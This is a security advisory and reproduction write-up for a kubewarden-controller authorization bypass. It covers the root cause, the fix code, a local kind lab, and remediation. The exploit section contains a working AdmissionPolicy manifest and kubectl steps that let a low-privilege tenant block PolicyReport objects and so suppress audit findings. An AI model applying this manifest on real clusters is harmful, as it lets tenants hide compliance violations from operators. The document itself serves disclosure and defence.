Skip to content

CVE-2025-24376 — kubewarden-controller authorization bypass on AdmissionPolicy

Published 2026-06-06

Authorization bypass — audit tampering

A low-privilege Kubernetes tenant can register an AdmissionPolicy that intercepts sensitive PolicyReport objects, blocking or falsifying cluster audit findings without any cluster-admin rights.

Field Value
Project kubewarden-controller
Affected component AdmissionPolicy / AdmissionPolicyGroup validation webhook (vadmissionpolicy.kb.io)
Severity MEDIUM
CVSS CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L (6.5)
CWE CWE-155, CWE-285
Affected versions >= 1.7.0, < 1.21.0 (last vulnerable: v1.20.1)
Fixed version 1.21.0
Advisory GHSA-fc89-jghx-8pvg

1. Vulnerability overview

Kubewarden is a Kubernetes policy engine whose controller manages two kinds of namespaced admission policies: AdmissionPolicy and AdmissionPolicyGroup. By design, these types are scoped to namespaced resources and are intended to be usable by namespace tenants; they are deliberately accessible to non-cluster-admin users. The controller registers a Kubernetes validating webhook (vadmissionpolicy.kb.io) that intercepts every CREATE or UPDATE of these custom resources, validates the submitted spec, and, if accepted, programs the Kubernetes API server to apply the policy to future requests.

CVE-2025-24376 is an authorization bypass. In versions 1.7.0 through 1.20.x, the controller's webhook validation did not restrict which Kubernetes resources an AdmissionPolicy could target. A tenant with only namespaced RBAC write access to AdmissionPolicy objects could craft a policy targeting wgpolicyk8s.io/policyreports, the sensitive resource that audit scanners use to report compliance findings. The impact is integrity loss: a denying policy suppresses all new PolicyReport objects in that namespace (hiding non-compliance), and a mutating policy silently falsifies their content (faking compliance). The attacker needs no cluster-admin rights, no secret access, and no exploit code; only a declarative YAML manifest applied with kubectl.

Root cause

The vulnerable code lives in api/policies/v1/policy_validation.go. Before the fix, the function validateRulesField iterated over the rules in a submitted policy and checked only that the operations, apiVersions, and resources fields were non-empty. It applied those checks identically to all policy types (including AdmissionPolicy and AdmissionPolicyGroup) with no type-specific restriction on which resources could be named. The Kubernetes API server therefore accepted any well-formed AdmissionPolicy regardless of what resource it targeted.

The fix (commit 8124039) adds two checks that fire only when the submitted policy is an AdmissionPolicy or AdmissionPolicyGroup:

// Detect the policy type
_, isAdmissionPolicy := policy.(*AdmissionPolicy)
_, isAdmissionPolicyGroup := policy.(*AdmissionPolicyGroup)

if isAdmissionPolicy || isAdmissionPolicyGroup {
    allErrors = append(allErrors, checkRulesArrayForWildcardUsage(rule.Rule.APIVersions, rule.Rule.Resources, rulesField)...)
    allErrors = append(allErrors, checkRulesArrayForSensitiveResourcesBeingTargeted(rule.Rule.APIVersions, rule.Rule.Resources, rulesField)...)
}

checkRulesArrayForWildcardUsage returns a Forbidden error when both apiGroups and resources contain wildcards (* or */*), preventing a blanket wildcard policy that would implicitly cover sensitive resources.

checkRulesArrayForSensitiveResourcesBeingTargeted checks each rule against a list of protected resources (initially {wgpolicyk8s.io, policyreports}) and rejects the policy if the rule names that group/resource exactly, via wildcard, or via a subresource prefix:

func (sr sensitiveResource) MatchesRules(apiGroups []string, resource []string) bool {
    // apiGroup matches if exact or wildcard "*"
    // resource matches if exact, "*", "*/*", or has prefix "policyreports/"
    return apiGroupMatches && resourceMatches
}

Before the patch, none of these checks existed. The Kubernetes API server accepted any well-formed AdmissionPolicy regardless of which resources it targeted.

2. Vulnerable environment

The reproduction runs a single-node kind (Kubernetes-in-Docker) cluster with the kubewarden-controller deployed at the last vulnerable release image ghcr.io/kubewarden/kubewarden-controller:v1.20.1 (sha256:a34c3b839dbca6f512305e1a39fa71992b58dc1529b757f32f9f8d501913c362).

Download the environment files: env.zip

Individual files:

Prerequisites

The following tools must be available on the host. The published download does not include binaries; install them before standing up the cluster:

  • kind: create and manage the local Kubernetes cluster
  • helm: install the kubewarden-crds (chart 1.12.1) and kubewarden-controller (chart 4.0.1) releases
  • kubectl: all API server interactions

Topology

Component Role Network
kind API server (cve-2025-24376-control-plane) Kubernetes control plane and admission chain 127.0.0.1 (random host port; read from env/kubeconfig-admin.yaml)
kubewarden-controller pod (namespace kubewarden) Vulnerable controller; registers validating webhook vadmissionpolicy.kb.io In-cluster only
CRD policyreports.wgpolicyk8s.io Sensitive resource that the exploit targets Cluster-scoped CRD
baseline-report PolicyReport (namespace tenant-a) Pre-seeded audit object API object

Confirming the vulnerable version

After standing the cluster up, confirm the vulnerable version is running:

export KUBECONFIG=env/kubeconfig-admin.yaml
kubectl get pods -n kubewarden -l app.kubernetes.io/name=kubewarden-controller \
  -o jsonpath='{.items[*].status.containerStatuses[*].image}{"\n"}{.items[*].status.containerStatuses[*].imageID}{"\n"}'

Expected output contains:

ghcr.io/kubewarden/kubewarden-controller:v1.20.1
ghcr.io/kubewarden/kubewarden-controller@sha256:a34c3b839dbca6f512305e1a39fa71992b58dc1529b757f32f9f8d501913c362

Run a quick health check to confirm the admission path is active:

export KUBECONFIG=env/kubeconfig-admin.yaml
kubectl get nodes
kubectl get deploy kubewarden-controller -n kubewarden -o jsonpath='{.status.readyReplicas}/{.status.replicas} ready{"\n"}'
kubectl get validatingwebhookconfigurations | grep kubewarden
kubectl get crd policyreports.wgpolicyk8s.io
kubectl get policyreport baseline-report -n tenant-a

Expected: node Ready; controller 1/1 ready; webhook configuration listed; CRD present; baseline-report present.

Also confirm the privilege boundary on the attacker account:

KUBECONFIG=env/kubeconfig-attacker.yaml kubectl auth can-i create admissionpolicies.policies.kubewarden.io -n tenant-a
KUBECONFIG=env/kubeconfig-attacker.yaml kubectl auth can-i list secrets -n tenant-a

Expected: yes then no. This confirms a namespaced tenant, not a cluster administrator.

3. How to exploit

Download the exploit files: exploit.zip

Individual files:

The malicious policy

exploit/policy.yaml defines an AdmissionPolicy named block-policy-reports in namespace tenant-a. Its rule targets wgpolicyk8s.io/policyreports (the sensitive audit resource) with a CEL validation expression of false, which causes the policy to deny every matched request:

apiVersion: policies.kubewarden.io/v1
kind: AdmissionPolicy
metadata:
  name: block-policy-reports
  namespace: tenant-a
spec:
  module: registry://ghcr.io/kubewarden/policies/cel-policy:latest
  settings:
    validations:
      - expression: "false"
        message: "policy reports are blocked"
  rules:
    - apiGroups: ["wgpolicyk8s.io"]
      apiVersions: ["v1alpha2"]
      operations: ["CREATE", "UPDATE"]
      resources: ["policyreports"]
  mutating: false
  backgroundAudit: false

Once this policy is active, any attempt to create or update a PolicyReport object in tenant-a is denied by Kubewarden, blinding the audit scanner in that namespace.

Steps

Step 1. Verify attacker identity and RBAC before running the exploit (should print yes):

KUBECONFIG=env/kubeconfig-attacker.yaml \
  kubectl auth can-i create admissionpolicies.policies.kubewarden.io -n tenant-a

Step 2. Submit the malicious AdmissionPolicy as the attacker:

bash exploit/run.sh env/kubeconfig-attacker.yaml exploit/policy.yaml

On the vulnerable controller (v1.20.1) the webhook does not reject the policy. Expected output:

[*] Acting as attacker actor:
system:serviceaccount:tenant-a:attacker
[*] Submitting malicious AdmissionPolicy targeting wgpolicyk8s.io/policyreports ...
admissionpolicy.policies.kubewarden.io/block-policy-reports created
[*] Submission completed without webhook rejection (vulnerable controller accepted it).

Step 3. Confirm the policy persists by reading cluster state through the independent admin channel (separate credential, no involvement in the exploit):

export KUBECONFIG=env/kubeconfig-admin.yaml
kubectl get admissionpolicy block-policy-reports -n tenant-a \
  -o jsonpath='{.metadata.name}{"\n"}{.spec.rules[0].apiGroups}{"\n"}{.spec.rules[0].resources}{"\n"}'

What proves it worked

The verification relies on an independent observation made through the cluster-admin kubeconfig, a credential entirely separate from the attacker's. After the exploit script exits, the admin channel confirms the forbidden policy exists in cluster state with its sensitive-resource rule intact:

block-policy-reports
["wgpolicyk8s.io"]
["policyreports"]
["CREATE","UPDATE"]
UID=56ac4fbb-81f6-4a77-bc42-f7f98e47a6b6
CREATIONTS=2026-06-02T10:26:03Z

The server-assigned UID and creation timestamp confirm the object was admitted through the Kubernetes API server and persisted, not planted through any back-channel. Before the exploit ran, the admin read returned NotFound. After the exploit, the policy exists with apiGroups=["wgpolicyk8s.io"] and resources=["policyreports"].

On a fixed build (kubewarden-controller >= 1.21.0), the same kubectl apply in Step 2 exits non-zero with an admission webhook Forbidden error from validateRulesField, and the admin read in Step 3 returns NotFound; the policy is never persisted. That contrast ties the observed persistence directly to the missing validation in v1.20.1.

Environment teardown

When finished, delete the kind cluster:

kind delete cluster --name cve-2025-24376

This removes the kind node container and its network. The kubeconfigs and manifest files can be discarded with the run directory. No host package manager state is affected.

4. Security advice

Remediation

Upgrade kubewarden-controller to 1.21.0 or later. That release adds server-side validation in validateRulesField that rejects any AdmissionPolicy or AdmissionPolicyGroup whose rules target wgpolicyk8s.io/policyreports (exactly, via wildcard, or via subresource prefix), and also blocks simultaneous wildcard use in both apiGroups and resources. The fix is in commit 8124039 of the kubewarden/kubewarden-controller repository.

Mitigations and workarounds

If an immediate upgrade is not possible, the GHSA advisory documents a workaround: apply a ClusterAdmissionPolicy (which is cluster-scoped and therefore requires cluster-admin to create) that denies any AdmissionPolicy or AdmissionPolicyGroup targeting the sensitive resource. This is an administrative control that shifts the enforcement burden to the cluster operator rather than the controller.

Also restrict the RBAC create/update verbs on admissionpolicies and admissionpolicygroups to only the most trusted namespace tenants. Limiting who can author policies is a useful defense-in-depth measure even on patched clusters.

References